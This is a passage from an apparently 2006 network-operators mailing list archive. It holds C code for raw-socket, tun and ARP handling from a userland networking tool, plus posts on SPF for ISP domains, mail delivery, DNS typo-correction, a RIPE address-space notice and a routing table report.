struct ph { in_addr_t src; in_addr_t dst; u_int8_t pad; u_int8_t proto; u_int16_t len; } s; u_int16_t i[6]; } ph; register int nleft = len; register u_int16_t *w = &ph.i[0]; register int sum; memcpy(&ph.s.src, &ip->ip_src.s_addr, sizeof(in_addr_t)); memcpy(&ph.s.dst, &ip->ip_dst.s_addr, sizeof(in_addr_t)); ph.s.pad = 0; ph.s.proto = ip->ip_p; ph.s.len = htons(len); sum = w[0] + w[1] + w[2] + w[3] + w[4] + w[5]; w = addr; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { sum += htons((*(const char *)w) << 8); } while (sum > 0xffff) sum = (sum & 0xffff) + (sum >> 16); sum = ~sum & 0xffff; return (sum); } /* END tcp_cksum */ /* BEGIN get_ifmtu */ /* * GET_IFMTU - get the specified MTU of the interface, -1 on error */ int get_ifmtu(char *name) { int so; struct ifreq ifr; if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0) return -1; memset((char *)&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); if (ioctl(so, SIOCGIFMTU, &ifr, sizeof(ifr)) < 0) { close(so); return -1; } close(so); return (ifr.ifr_mtu); } /* END get_ifmtu */ /* BEGIN set_ip4header */ /* * SET_IP4HEADER - configures the IP header based on a set of hints * returns -1 on error */ int set_ip4header(struct ip *ip, struct ip *hints) { int fh = 0; /* free hints */ struct ip *_hints; if (hints) _hints = hints; else { _hints = (struct ip *)calloc(1, sizeof(struct ip)); fh = 1; } ip->ip_v = (_hints->ip_v != 0) ? _hints->ip_v : IPVERSION; ip->ip_hl = (_hints->ip_v != 0) ? _hints->ip_hl : sizeof(struct ip) >> 2; ip->ip_tos = (_hints->ip_tos != 0) ? _hints->ip_tos : IPTOS_LOWDELAY; ip->ip_len = (_hints->ip_len != 0) ? _hints->ip_len : sizeof(struct ip); ip->ip_id = (_hints->ip_id != 0) ? _hints->ip_id : (u_int16_t)arc4random(); ip->ip_off = (_hints->ip_off != 0) ? _hints->ip_off : 0; ip->ip_ttl = (_hints->ip_ttl != 0) ? _hints->ip_ttl : ((_hints->ip_p == IPPROTO_ICMP) ? MAXTTL : IPDEFTTL); ip->ip_p = (_hints->ip_p != 0) ? _hints->ip_p : IPPROTO_IP; ip->ip_sum = (_hints->ip_sum != 0) ? _hints->ip_sum : 0; ip->ip_src.s_addr = (_hints->ip_src.s_addr != 0) ? _hints->ip_src.s_addr : INADDR_ANY; ip->ip_dst.s_addr = (_hints->ip_dst.s_addr != 0) ? _hints->ip_dst.s_addr : INADDR_LOOPBACK; if (fh) free(_hints); return 0; } /* END set_ip4header */ void get_data(struct sess *s, u_char *data, int len) { s->data = calloc(1, len); if (s->data == NULL) return; s->len = len; memcpy(s->data, data, s->len); } /* BEGIN open_raw */ /* * OPEN_RAW - open a raw socket, with following protocol, return -1 * on error. */ int open_raw(int proto) { int so; int on = 1; if ((so = socket(AF_INET, SOCK_RAW, proto)) < 0) return -1; if (setsockopt(so,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)) < 0) { close(so); return -1; } return so; } /* END open_raw */ int open_tunnel(void) { int fd; int mtu = 1500; char tunif[IFNAMSIZ]; if ((fd = open_tun((char *)&tunif, sizeof(tunif))) < 0) { perror("open_tun"); exit(1); } #if 0 if (set_tunmode(fd, IFF_POINTOPOINT) < 0) { perror("set_tunmode"); exit(1); } if (set_ifpop(tunif, pointa, pointb, netmask) < 0) { perror("set_ifpop"); exit(1); } if (set_ifup(tunif) < 0) { fprintf(stderr, "can't set interface up\n"); exit(1); } #else if (set_tunmode(fd, IFF_BROADCAST | IFF_LINK0) < 0) { perror("set_tunmode"); exit(1); } if (set_ifup(tunif) < 0) { fprintf(stderr, "can't set interface up\n"); exit(1); } if (set_ifip(tunif, pointb, netmask, AF_INET) < 0) { perror("set_ifip"); exit(1); } #endif if ((mtu = get_ifmtu(tunif)) < 0) { perror("get_ifmtu"); exit(1); } if (mtu > 1500) { mtu = 1500; if (set_ifmtu(tunif, mtu) < 0) { perror("set_ifmtu"); exit(1); } } return fd; } /* BEGIN open_tun */ /* * open_tun - search existing tun(4) device and find one that is open return * file descriptor or -1 on error. If an argument is given * try to open that device explicitly otherwise the selected * device is written to that pointer, for max len bytes */ int open_tun(char *name, int len) { #define MAX_TUN_DEVICES 16 char tmp[MAXPATHLEN]; int dn; /* device number */ int fd; /* file descriptor to be returned */ if (len > IFNAMSIZ) { errno = ENAMETOOLONG; return -1; } /* * XXX look carefully, this is a little tricky cruft */ snprintf(tmp, sizeof(tmp), "/dev/%s", name); if ((fd = open(tmp, O_RDWR, 0600)) != -1) return fd; for (dn = 0; dn < MAX_TUN_DEVICES; dn++) { errno = 0; snprintf(name, len, "tun%d", dn); snprintf(tmp, sizeof(tmp), "/dev/%s", name); fd = open(tmp, O_RDWR, 0600); if (fd < 0) { if (errno == EBUSY) continue; break; } else return fd; } return -1; } /* END open_tun */ /* BEGIN set_tunmode */ /* * SET_TUNMODE - set the mode of the specified tunnel device * IFF_POINTOPOINT or IFF_BROADCAST, return -1 on err */ int set_tunmode(int fd, int mode) { if (mode != IFF_POINTOPOINT && (mode & ( IFF_BROADCAST | IFF_LINK0 )) != (IFF_BROADCAST | IFF_LINK0)) return -1; if (check_tundev(fd) < 0) return -1; if (ioctl(fd, TUNSIFMODE, &mode, sizeof(mode)) < 0) return -1; return mode; } /* END set_tunmode */ /* BEGIN check_tundev */ /* * CHECK_TUNDEV - check the type of device, return 1 if device -1 else */ int check_tundev(int fd) { #define TUN_DEV "/dev/tun" struct stat sb; if (fstat(fd, &sb) < 0) return -1; if (S_ISCHR(sb.st_mode)) return 0; return -1; } /* END check_tundev */ /* BEGIN del_ifip */ /* * DEL_IFIP - delete an IP alias from a certain interface, takes IP as second * argument, returns 0 on success, -1 on error */ int del_ifip(char *name, char *ip) { int so; struct ifaliasreq ifra; struct sockaddr_in sin; if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0) return -1; sin.sin_addr.s_addr = inet_addr(ip); memset(&ifra, 0, sizeof(ifra)); strlcpy(ifra.ifra_name, name, sizeof(ifra.ifra_name)); memcpy(&ifra.ifra_addr, &sin.sin_addr.s_addr, sizeof(struct sockaddr)); if (ioctl(so, SIOCDIFADDR, &ifra, sizeof(ifra)) < 0) { close(so); return -1; } close(so); return 0; } /* END del_ifip */ /* BEGIN set_ifip */ /* * SET_IFIP - sets an IP address on the specified interface, returns 0 on * success, -1 on error */ int set_ifip(char *name, char *address, char *netmask, int af) { int so; struct ifaliasreq ifra; struct sockaddr_in sin; if (af == AF_INET6) return -1; if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0) return -1; memset((char *)&ifra, 0, sizeof(ifra)); strlcpy(ifra.ifra_name, name, sizeof(ifra.ifra_name)); memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(address); sin.sin_len = sizeof(sin); memcpy(&ifra.ifra_addr,(struct sockaddr *)&sin,sizeof(struct sockaddr)); sin.sin_addr.s_addr = inet_addr(netmask); memcpy(&ifra.ifra_mask, (struct sockaddr *)&sin, sizeof(struct sockaddr)); if (ioctl(so, SIOCAIFADDR, &ifra, sizeof(ifra)) < 0) { close(so); return -1; } close(so); return 0; } /* END set_ifip */ /* BEGIN set_ifpop */ /* * SET_IFPOP - set 2 points on a point to point interface, returns 0 on * smooth sails, and -1 on error */ int set_ifpop(char *name, char *point1, char *point2, char *netmask) { int so; struct ifaliasreq ifra; struct sockaddr_in sin; if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0) return -1; memset((char *)&ifra, 0, sizeof(ifra)); strlcpy(ifra.ifra_name, name, sizeof(ifra.ifra_name)); memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(point1); sin.sin_len = sizeof(sin); memcpy(&ifra.ifra_addr,(struct sockaddr *)&sin,sizeof(struct sockaddr)); sin.sin_addr.s_addr = inet_addr(point2); #ifdef __OpenBSD__ memcpy(&ifra.ifra_dstaddr,(struct sockaddr *)&sin,sizeof(struct sockaddr)); #else memcpy(&ifra.ifra_broadaddr,(struct sockaddr *)&sin,sizeof(struct sockaddr)); #endif if (netmask) { sin.sin_addr.s_addr = inet_addr(netmask); memcpy(&ifra.ifra_mask,(struct sockaddr*)&sin,sizeof(struct sockaddr)); } if (ioctl(so, SIOCAIFADDR, &ifra, sizeof(ifra)) < 0) { close(so); return -1; } close(so); return 0; } /* END set_ifpop */ /* BEGIN get_ifflags */ /* * GET_IFFLAGS - get flags of specified interface, return -1 on error */ short get_ifflags(char *name) { int so; struct ifreq ifr; if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0) return -1; memset((char *)&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); if (ioctl(so, SIOCGIFFLAGS, &ifr, sizeof(ifr)) < 0) { close(so); return -1; } close(so); return(ifr.ifr_flags); } /* END get_ifflags */ /* BEGIN set_ifflags */ /* * SET_IFFLAGS - set flags of specified interface, return -1 on error */ int set_ifflags(char *name, short flags) { int so; struct ifreq ifr; if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0) return -1; memset((char *)&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); ifr.ifr_flags = flags; if (ioctl(so, SIOCSIFFLAGS, &ifr, sizeof(ifr)) < 0) { close(so); return -1; } close(so); return(0); } /* END set_ifflags */ /* BEGIN set_ifup */ /* * SET_IFUP - turn an interface into the IFF_UP state */ int set_ifup(char *name) { short flags; flags = get_ifflags(name); flags |= IFF_UP; return (set_ifflags(name, flags)); } /* END set_ifup */ /* BEGIN set_ifdown */ /* * SET_IFDOWN - turn an interface off */ int set_ifdown(char *name) { short flags; flags = get_ifflags(name); flags &= ~IFF_UP; return (set_ifflags(name, flags)); } /* END set_ifdown */ /* BEGIN set_ifmtu */ /* * SET_IFMTU - set the specified interface MTU and return 0 on success, -1 * on error. */ int set_ifmtu(char *name, int mtu) { int so; struct ifreq ifr; if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0) return -1; memset((char *)&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); ifr.ifr_mtu = mtu; if (ioctl(so, SIOCSIFMTU, &ifr, sizeof(ifr)) < 0) { close(so); return -1; } close(so); return 0; } /* END set_ifmtu */ /* BEGIN get_ifaddr */ /* * GET_IFADDR - gets the interface address which is returned in an * in_addr_t */ in_addr_t get_ifaddr(char *name) { int so; struct ifreq ifr; struct sockaddr_in *sin; if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0) return -1; memset((char *)&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); if (ioctl(so, SIOCGIFADDR, &ifr, sizeof(ifr)) < 0) { close(so); return -1; } close(so); sin = (struct sockaddr_in *)&ifr.ifr_addr; return (sin->sin_addr.s_addr); } /* END get_ifaddr */ void reply_icmp(int fd, char *data, int len) { struct ip *ip; struct icmp *icmp; int newlen = len; char *newdata = data; u_int32_t iptmp; u_int32_t *af; ip = (struct ip *)newdata; newdata += sizeof(struct ip); newlen -= sizeof(struct ip); if (newlen < ICMP_MINLEN) return; icmp = (struct icmp *)newdata; if (icmp->icmp_type == 8) { icmp->icmp_type = 0; icmp->icmp_cksum = 0; iptmp = ip->ip_dst.s_addr; ip->ip_dst.s_addr = ip->ip_src.s_addr; ip->ip_src.s_addr = iptmp; ip->ip_sum = 0; icmp->icmp_cksum = 0; ip->ip_sum = ip_cksum((u_short *)data, sizeof(struct ip)); icmp->icmp_cksum = ip_cksum((u_short *)newdata, newlen); newdata = malloc(len); if (newdata == NULL) return; memcpy((char *)newdata, data, len); #if 0 af = (u_int32_t *)newdata; *af = htonl(AF_INET); #endif write_frame(fd, newdata, len + sizeof(u_int32_t)); free(newdata); } return; } void arplookup(int fd) { u_char buf[2500]; int len; int i; struct ether_header *eh; struct ether_arp *ah; time_t now, before; for (i = 0; i < 5; i++) { memset(&buf, 0, sizeof(buf)); eh = (struct ether_header *)&buf[0]; ah = (struct ether_arp *)&buf[sizeof(struct ether_header)]; len = sizeof(struct ether_header) + sizeof(struct ether_arp); eh->ether_type = htons(ETHERTYPE_ARP); memset(eh->ether_dhost, 0xff, sizeof(eh->ether_dhost)); memcpy(eh->ether_shost, &mymac, sizeof(mymac)); ah->arp_hrd = htons(ARPHRD_ETHER); ah->arp_pro = htons(ETHERTYPE_IP); ah->arp_hln = sizeof(ah->arp_sha); ah->arp_pln = sizeof(ah->arp_spa); ah->arp_op = htons(ARPOP_REQUEST); memcpy(ah->arp_sha, &mymac, sizeof(mymac)); memcpy(ah->arp_spa, &myip, sizeof(myip)); memcpy(ah->arp_tpa, &routerip, sizeof(routerip)); if (write(fd, buf, len) < 0) { perror("write"); } before = time(NULL); for (;difftime(now, before) < 10;now = time(NULL)) { if ((len = read(fd, buf, sizeof(buf))) < 0) { perror("read"); } if (len < (sizeof(struct ether_header) + sizeof(struct ether_arp))) { continue; } if (memcmp(&eh->ether_dhost, &mymac, sizeof(mymac)) == 0 && ntohs(eh->ether_type) == ETHERTYPE_ARP && ntohs(ah->arp_op) == ARPOP_REPLY) { memcpy(&routermac, ah->arp_sha, sizeof(routermac)); goto out; } } /* for difftime */ continue; /* back to writing a new ARP request */ } #if 0 for (i = 0; i < sizeof(routermac); i++) { printf("%02x:", routermac[i]); } printf("\n"); #endif out: return; } void reply_arp(int fd, u_char *data, int len) { u_char buf[2500]; int newlen; int i; struct ether_header *eh, *eh2; struct ether_arp *ah, *ah2; eh = (struct ether_header *)data; ah = (struct ether_arp *)(data + sizeof(struct ether_header)); if (memcmp(broadcastmac, eh->ether_dhost, sizeof(broadcastmac)) == 0 && ntohs(ah->arp_hrd) == ARPHRD_ETHER && ntohs(ah->arp_pro) == ETHERTYPE_IP && ah->arp_hln == sizeof(ah->arp_sha) && ah->arp_pln == sizeof(ah->arp_spa) && ntohs(ah->arp_op) == ARPOP_REQUEST) { if (memcmp(&ah->arp_tpa, &myip, sizeof(myip)) != 0) { return; } memset(&buf, 0, sizeof(buf)); eh2 = (struct ether_header *)&buf[0]; ah2 = (struct ether_arp *)&buf[sizeof(struct ether_header)]; newlen = sizeof(struct ether_header) + sizeof(struct ether_arp); eh2->ether_type = htons(ETHERTYPE_ARP); memcpy(eh2->ether_dhost, eh->ether_shost, sizeof(eh->ether_shost)); memcpy(eh2->ether_shost, &mymac, sizeof(mymac)); ah2->arp_hrd = htons(ARPHRD_ETHER); ah2->arp_pro = htons(ETHERTYPE_IP); ah2->arp_hln = sizeof(ah2->arp_sha); ah2->arp_pln = sizeof(ah2->arp_spa); ah2->arp_op = htons(ARPOP_REPLY); memcpy(ah2->arp_sha, &mymac, sizeof(mymac)); memcpy(ah2->arp_spa, &myip, sizeof(myip)); memcpy(ah2->arp_tpa, ah->arp_spa, sizeof(ah->arp_spa)); memcpy(ah2->arp_tha, ah->arp_sha, sizeof(ah->arp_sha)); if (write(fd, buf, newlen) < 0) { perror("write"); } } return; } int write_frame(int fd, char *data, int len) { char buf[2500]; struct ether_header *eh = (struct ether_header *) &buf[0]; char *concat; int newlen; newlen = len + sizeof(struct ether_header); if (newlen > sizeof(buf)) { errno = ENOBUFS; return -1; } concat = &buf[sizeof(struct ether_header)]; eh->ether_type = htons(ETHERTYPE_IP); memcpy(eh->ether_dhost, &routermac, sizeof(routermac)); memcpy(eh->ether_shost, &mymac, sizeof(mymac)); memcpy(concat, data, len); return (write(fd, buf, newlen)); } -- Here my ticker tape .signature #### My name is Peter Philipp #### lynx -dump "http://en.wikipedia.org/w/index.php?title=Pufferfish&oldid=20768394" | sed -n 131,136p #### So long and thanks for all the fish!!!

4 4

open letter to earthlink & comcast please publish SPF data
by Mark Jeftovic 18 Jul '06

18 Jul '06

earthlink.net addresses are among the forgery addresses of choice for spammers, they are right up there with hotmail.com I think a very high percentage of the pinksheet pump and dump spams and the viagr*, enl*rgment, etc spams have fake earthlink.net addresses in the From headers So how about publishing some SPF data on your earthlink.net domain so those so inclined can use it toward reducing the ungodly amounts of backscatter you guys must get (and which causes you to tarpit other carriers and forwarders) Same goes for comcast. Even a softfail ~all will help out buckets. It's all but eliminated the backscatter we send to hotmail. If they can do it.... -mark -- Mark Jeftovic <markjr(a)easydns.com> Founder & President, easyDNS Technologies Inc. ph. +1-(416)-535-8672 ext 225 fx. +1-(866) 273-2892

4 4

ISOI - DA Workshop agenda and web page
by Gadi Evron 17 Jul '06

17 Jul '06

Hi. You can find the information and latest agenda on the DA workshop on this URL: http://isotf.org/isoi.html It will be updated in the next few days to include a suggested hotel and the rest of the names missing for the listed lectures. Quick reminders: 10th of August, hosted by Cisco in San Jose. Please confirm your arrival. Also, please confirm if you will stay for the dinner hosted by the ISC. Thanks, Gadi.

1 0

sbcglobal.net email
by Andy Brezinsky 17 Jul '06

17 Jul '06

Anyone from sbcglobal.net support around? We're trying to send emails to some of your customers and your mailserver tells us that it's accepted for delivery but it never gets there. This is reproducable for a few addresses. SBC's noc line and tier-1 yahoo dsl support have not been of any help. Jul 17 14:01:03 localhost postfix/smtp[5433]: E89E23D40E5: to=<USER(a)sbcglobal.net>, relay=sbcmx4.prodigy.net[207.115.57.18], delay=2, status=sent (250 2.0.0 k6HIxhY0006651 Message accepted for delivery) Thanks.

1 0

www.gigablast.com
by Jim Popovitch 17 Jul '06

17 Jul '06

Feel free to clue me in on this please... ;-) What is www.gigablast.com? And why is it constantly performing "questionable" queries (mostly http) across every IP that I have access to check. I get a could of thousand hits (mostly questionable non-existing URL requests) from that ip (66.154.103.75). Anyone else seeing/questioning this? Completewhois shows some listings in some RBLs, but not the more popular ones. -Jim P.

7 8

Re: Web typo-correction (Re: Sitefinder II, the sequel...)
by Edward B. DREGER 15 Jul '06

15 Jul '06

SS> Date: Fri, 14 Jul 2006 13:38:31 -0500 SS> From: Stephen Sprunk SS> Ever used Word or Outlook? They annoyingly "fix" words as you type without SS> offering multiple choices or even alerting the user that they're doing it. Yes. One of the first "features" that I shut off. SS> OpenDNS's typo-fixing service can supposedly be turned off, but I don't see SS> how that would work when you have multiple users behind a NAT or a recursive SS> server. There also may be hidden problems if an ISP pushes all of their SS> users onto this service and the users have no clue they've been "opted in" SS> or how to opt back out (and we all know how well "opt out" systems work for SS> email in general). *nod* SS> And that solves most of my objections, at least for HTTP. It still breaks a SS> lot of other protocols. ...which still poses problems that should not be ignored. I forked a subset of the main discussion in hopes of better idea organization. Other protocols should indeed be considered. It's a question of protocol-specific proxying when [at least for now] DNS returns protocol-agnostic answers. As a side note, I wonder how many users would notice a typo-intercepted HTTPS side and associated invalid/bogus certificate. I'm afraid the number would be rather low. SS> If web browsers consulted SRV records instead of blindly connecting to the SS> A, that would appear to solve everything: NXDOMAIN for the A but the HTTP SS> SRV could point to the typo-correction server. I'd not be inclined to argue SS> with such a setup, but it requires a refresh of every browser out there, so SS> it's not realistic. Agreed re the short term. However, SRV records have other uses -- why should MXes get all the special treatment? -- so I'm trying to put another tally in the "[potential] reasons to use SRV" column. Perhaps if the ball began rolling... Eddy -- Everquick Internet - http://www.everquick.net/ A division of Brotsman & Dreger, Inc. - http://www.brotsman.com/ Bandwidth, consulting, e-commerce, hosting, and network building Phone: +1 785 865 5885 Lawrence and [inter]national Phone: +1 316 794 8922 Wichita ________________________________________________________________________ DO NOT send mail to the following addresses: davidc(a)brics.com -*- jfconmaapaq(a)intc.net -*- sam(a)everquick.net Sending mail to spambait addresses is a great way to get blocked. Ditto for broken OOO autoresponders and foolish AV software backscatter.

1 0

91.192/10 to be used for PI assignments to End Users
by leo vegoda 14 Jul '06

14 Jul '06

Dear Colleagues, At recent RIPE Meetings, we have reported a steady rise in requests from our members for Provider Independent (PI) address space for End User networks. We have reclaimed and recycled space from closed Local Internet Registries to meet this demand, but we are nearing the point where the available PI space will run out. In the past, we made PI assignments from former Class C space (193/8 and 194/7). Because of the increasing demand for PI space, we made sure that we would be able to use some of our most recent allocation of address space to meet future requests. We have designated 91.192/10 for PI assignments to End User networks. When the former Class C space is exhausted, we will start to make PI assignments from 91.192/10. We will let you know when this happens. We are announcing a pilot prefix using the RIS beacons, you may want to update any filters that you have in place. The RIS beacons are announcing the following networks: 91.192.0.0/24 91.192.0.0/16 You can ping 91.192.0.1. Full details of reachable IP addresses and tools are available on our web site at: http://www.ris.ripe.net/debogon/debogon.html Regards, -- leo vegoda Registration Services Manager RIPE NCC

18 25

Weekly Routing Table Report
by Routing Analysis Role Account 14 Jul '06

14 Jul '06

This is an automated weekly mailing describing the state of the Internet Routing Table as seen from APNIC's router in Japan. Daily listings are sent to bgp-stats(a)lists.apnic.net If you have any comments please contact Philip Smith <pfs(a)cisco.com>. Routing Table Report 04:00 +10GMT Sat 15 Jul, 2006 Analysis Summary ---------------- BGP routing table entries examined: 192150 Prefixes after maximum aggregation: 105834 Unique aggregates announced to Internet: 93950 Total ASes present in the Internet Routing Table: 22658 Origin-only ASes present in the Internet Routing Table: 19705 Origin ASes announcing only one prefix: 9458 Transit ASes present in the Internet Routing Table: 2953 Transit-only ASes present in the Internet Routing Table: 67 Average AS path length visible in the Internet Routing Table: 3.5 Max AS path length visible: 27 Max AS path prepend of ASN (34527) 16 Prefixes from unregistered ASNs in the Routing Table: 2 Unregistered ASNs in the Routing Table: 2 Special use prefixes present in the Routing Table: 1 Prefixes being announced from unallocated address space: 9 Number of addresses announced to Internet: 1551831208 Equivalent to 92 /8s, 127 /16s and 16 /24s Percentage of available address space announced: 41.9 Percentage of allocated address space announced: 60.6 Percentage of available address space allocated: 69.1 Total number of prefixes smaller than registry allocations: 94909 APNIC Region Analysis Summary ----------------------------- Prefixes being announced by APNIC Region ASes: 41543 Total APNIC prefixes after maximum aggregation: 17091 Prefixes being announced from the APNIC address blocks: 39251 Unique aggregates announced from the APNIC address blocks: 18426 APNIC Region origin ASes present in the Internet Routing Table: 2626 APNIC Region origin ASes announcing only one prefix: 746 APNIC Region transit ASes present in the Internet Routing Table: 396 Average APNIC Region AS path length visible: 3.5 Max APNIC Region AS path length visible: 17 Number of APNIC addresses announced to Internet: 239166816 Equivalent to 14 /8s, 65 /16s and 101 /24s Percentage of available APNIC address space announced: 74.8 APNIC AS Blocks 4608-4864, 7467-7722, 9216-10239, 17408-18431 (pre-ERX allocations) 23552-24575, 37888-38911 APNIC Address Blocks 58/7, 60/7, 121/8, 122/7, 124/7, 126/8, 202/7 210/7, 218/7, 220/7 and 222/8 ARIN Region Analysis Summary ---------------------------- Prefixes being announced by ARIN Region ASes: 97783 Total ARIN prefixes after maximum aggregation: 58246 Prefixes being announced from the ARIN address blocks: 71546 Unique aggregates announced from the ARIN address blocks: 27005 ARIN Region origin ASes present in the Internet Routing Table: 10836 ARIN Region origin ASes announcing only one prefix: 4082 ARIN Region transit ASes present in the Internet Routing Table: 1006 Average ARIN Region AS path length visible: 3.3 Max ARIN Region AS path length visible: 19 Number of ARIN addresses announced to Internet: 295972608 Equivalent to 17 /8s, 164 /16s and 47 /24s Percentage of available ARIN address space announced: 76.7 ARIN AS Blocks 1-1876, 1902-2042, 2044-2046, 2048-2106 (pre-ERX allocations) 2138-2584, 2615-2772, 2823-2829, 2880-3153 3354-4607, 4865-5119, 5632-6655, 6912-7466 7723-8191, 10240-12287, 13312-15359, 16384-17407 18432-20479, 21504-23551, 25600-26591, 26624-27647, 29696-30719, 31744-33791 35840-36863, 39936-40959 ARIN Address Blocks 24/8, 63/8, 64/5, 72/6, 76/8, 199/8, 204/6, 208/7 and 216/8 RIPE Region Analysis Summary ---------------------------- Prefixes being announced by RIPE Region ASes: 38589 Total RIPE prefixes after maximum aggregation: 25860 Prefixes being announced from the RIPE address blocks: 35657 Unique aggregates announced from the RIPE address blocks: 24048 RIPE Region origin ASes present in the Internet Routing Table: 8263 RIPE Region origin ASes announcing only one prefix: 4348 RIPE Region transit ASes present in the Internet Routing Table: 1359 Average RIPE Region AS path length visible: 3.9 Max RIPE Region AS path length visible: 27 Number of RIPE addresses announced to Internet: 260092740 Equivalent to 15 /8s, 128 /16s and 179 /24s Percentage of available RIPE address space announced: 81.6 RIPE AS Blocks 1877-1901, 2043, 2047, 2107-2136, 2585-2614 (pre-ERX allocations) 2773-2822, 2830-2879, 3154-3353, 5377-5631 6656-6911, 8192-9215, 12288-13311, 15360-16383 20480-21503, 24576-25599, 28672-29695 30720-31743, 33792-35839, 38912-39935 40960-41983 RIPE Address Blocks 62/8, 80/5, 88/6, 193/8, 194/7, 212/7 and 217/8 LACNIC Region Analysis Summary ------------------------------ Prefixes being announced by LACNIC Region ASes: 11962 Total LACNIC prefixes after maximum aggregation: 3745 Prefixes being announced from the LACNIC address blocks: 10024 Unique aggregates announced from the LACNIC address blocks: 5664 LACNIC Region origin ASes present in the Internet Routing Table: 707 LACNIC Region origin ASes announcing only one prefix: 237 LACNIC Region transit ASes present in the Internet Routing Table: 131 Average LACNIC Region AS path length visible: 4.2 Max LACNIC Region AS path length visible: 24 Number of LACNIC addresses announced to Internet: 31094272 Equivalent to 1 /8s, 218 /16s and 118 /24s Percentage of available LACNIC address space announced: 46.3 LACNIC AS Blocks 26592-26623, 27648-28671, plus ERX transfers LACNIC Address Blocks 189/8, 190/8, 200/7 AfriNIC Region Analysis Summary ------------------------------- Prefixes being announced by AfriNIC Region ASes: 2271 Total AfriNIC prefixes after maximum aggregation: 892 Prefixes being announced from the AfriNIC address blocks: 1527 Unique aggregates announced from the AfriNIC address blocks: 956 AfriNIC Region origin ASes present in the Internet Routing Table: 159 AfriNIC Region origin ASes announcing only one prefix: 45 AfriNIC Region transit ASes present in the Internet Routing Table: 26 Average AfriNIC Region AS path length visible: 3.4 Max AfriNIC Region AS path length visible: 11 Number of AfriNIC addresses announced to Internet: 4184832 Equivalent to 0 /8s, 63 /16s and 219 /24s Percentage of available AfriNIC address space announced: 12.5 AfriNIC AS Blocks 36864-37887 & ERX transfers AfriNIC Address Blocks 41/8, 196/8 APNIC Region per AS prefix count summary ---------------------------------------- ASN No of nets /20 equiv MaxAgg Description 4134 1243 7528 233 CHINANET-BACKBONE 4755 967 257 74 Videsh Sanchar Nigam Ltd. Aut 9583 914 109 15 Sify Limited 9498 765 211 70 BHARTI BT INTERNET LTD. 4766 689 4435 303 Korea Telecom (KIX) 1221 610 1779 468 Telstra Pty Ltd 7545 551 124 74 TPG Internet Pty Ltd 17488 519 32 17 Hathway IP Over Cable Interne 17676 490 7093 110 Softbank BB Corp. 9443 452 111 83 Primus Telecommunications 18101 425 85 23 Reliance Infocom Ltd Internet 17974 406 129 14 PT TELEKOMUNIKASI INDONESIA 17849 396 28 123 Telecommunications Technology 17557 382 30 172 Pakistan Telecom 4802 379 81 168 Wantree Development 2907 336 1733 311 SINET Japan 9929 298 244 56 China Netcom Corp. 7474 295 211 229 SingTel Optus Pty Ltd 4837 288 3196 128 chinanet IDC center beijing n 10139 280 19 5 Meridian Telekoms ARIN Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 7018 1466 6246 941 AT&T WorldNet Services 721 1022 21934 309 DLA Systems Automation Center 6197 1012 635 478 BellSouth Network Solutions, 4323 966 746 271 Time Warner Telecom 174 959 5769 891 Cogent Communications 18566 946 272 8 Covad Communications 701 942 6753 777 UUNET Technologies, Inc. 2386 923 558 711 AT&T Data Communications Serv 1239 855 2786 605 Sprint 19262 722 2188 190 Verizon Global Networks 20115 716 621 382 Charter Communications 209 695 3663 548 Qwest 22773 674 1741 40 Cox Communications, Inc. 11492 657 89 11 Cable One 7011 648 218 412 Citizens Utilities 6198 598 568 236 BellSouth Network Solutions, 852 582 1084 381 Telus Advanced Communications 855 573 247 74 Canadian Research Network 19916 563 49 54 OLM LLC 5668 533 147 23 CenturyTel Internet Holdings, RIPE Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 702 564 1932 443 UUNET - Commercial IP service 3301 316 1187 301 TeliaNet Sweden 3352 305 1639 33 Ibernet, Internet Access Netw 8220 279 471 265 COLT Telecommunications 3320 278 5012 234 Deutsche Telekom AG 680 246 2041 243 DFN-IP service G-WiN 6746 237 90 212 Dynamic Network Technologies, 3246 230 463 220 Song Networks 24863 216 42 11 LINKdotNET AS number 8708 211 275 200 Romania Data Systems S.A. 8551 209 198 29 Bezeq International 30890 206 18 80 SC Kappa Invexim SRL 3215 204 1760 97 France Telecom Transpac 3269 201 2182 72 TELECOM ITALIA 1257 194 741 166 SWIPnet Swedish IP Network 8866 189 37 15 Bulgarian Telecommunication C 6830 175 813 37 UPC Distribution Services 3300 169 171 97 AUCS Communications Services 786 168 1762 168 The JANET IP Service 5400 160 352 142 BT Ignite European Backbone LACNIC Region per AS prefix count summary ----------------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 698 1771 227 UniNet S.A. de C.V. 22047 432 206 11 VTR PUNTO NET S.A. 11172 358 113 85 Servicios Alestra S.A de C.V 16814 329 20 8 NSS, S.A. 6147 267 134 22 Telefonica Del Peru 6471 252 74 28 ENTEL CHILE S.A. 14117 211 13 7 Telefonica del Sur S.A. 6503 181 151 82 AVANTEL, S.A. 7303 181 84 29 Telecom Argentina Stet-France 10481 181 72 8 Prima S.A. 21826 133 17 22 INTERCABLE 11556 132 80 4 Cable-Wireless Panama 19429 131 84 45 E.T.B. 14522 129 18 9 SatNet S.A. 19169 129 8 26 Telconet 14259 119 10 15 GTD Internet S.A. 23216 113 21 9 RAMtelecom Telecomunicaciones 5639 109 12 9 Telecommunications Services o 6505 109 88 79 Global One Communicaoes Ltda 14420 108 7 23 ANDINATEL S.A. AfriNIC 